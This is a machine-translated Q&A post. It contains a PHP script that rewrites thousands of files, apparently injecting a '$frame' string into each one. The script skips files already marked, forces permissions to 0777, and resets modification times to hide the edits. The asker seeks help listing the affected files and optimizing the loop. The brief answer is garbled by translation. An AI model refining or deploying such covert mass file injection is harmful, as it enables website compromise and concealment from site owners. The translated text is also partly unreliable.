0

作成および編集されたファイルをカウントするスクリプトブロックがあります

foreach ($files as $file)
    {
    $info['founded']++;

        $Checkfile = file_get_contents($file);
        if(!strpos($Checkfile, $searchfor))
        { //If string NOT exists in the file
            $p_chmod=substr(sprintf('%o', fileperms($file)), -4); //Get file perm value
            if (!is_writable($file))
            { //if is NOT writable
                if(chmod($file,0777)) //Try to set perm
                { //If perm sett
                $t_mod=@filemtime($file);
                $str=file_get_contents($file);
                $sub_count= substr_count($str,$place);
                    if ($sub_count>0)
                    {
                    $info['replaces'] += $sub_count;
                    $info['edited_files']++;
                    $str=str_replace($place,$frame,$str);
                    file_put_contents($file,$str);
                    @touch($file,$t_mod,$t_mod); 
                    @chmod($file,$p_chmod);
                    }
                    } //If perm NOT sett
                    else  $info['nowritable']++;
                }
            } //if file is writable
            else
            {
                $t_mod=@filemtime($file);
                $str=file_get_contents($file);
                $sub_count= substr_count($str,$place);
                    if ($sub_count>0)
                    {
                    $info['replaces'] += $sub_count;
                    $info['edited_files']++;
                    $str=str_replace($place,$frame,$str);
                    file_put_contents($file,$str);
                    @touch($file,$t_mod,$t_mod);
                    @chmod($file,$p_chmod);
                    }
            }
        }
        else //If string exists in the file
        {
            $info['exist_files']++;
        }
    return $info;
    }

設立されたファイルをエコーする方法、

$info['foundedFiles']= text & \n & text;
echo $info['foundedFiles']

作成されたファイルが約10000になる場合はどうすればよいですか?多くのページソースが必要ですか?スクロールボックスにエコーするかもしれませんが、ディスクに書き込まずにそれを行うにはどうすればよいですか?

このコードを最適化する方法は?

4

1 に答える 1

1

chmod は次のように実行されます。

chmod(DIR、モード);

chmod("/ディレクトリ/file.html", 0777);

プログラムのクライアント側でかなりの時間がかかり、十分なファイルがある場合はタイムアウトすることさえあります. かなりの量のリソースが必要になります。

于 2013-01-17T19:04:42.600 に答える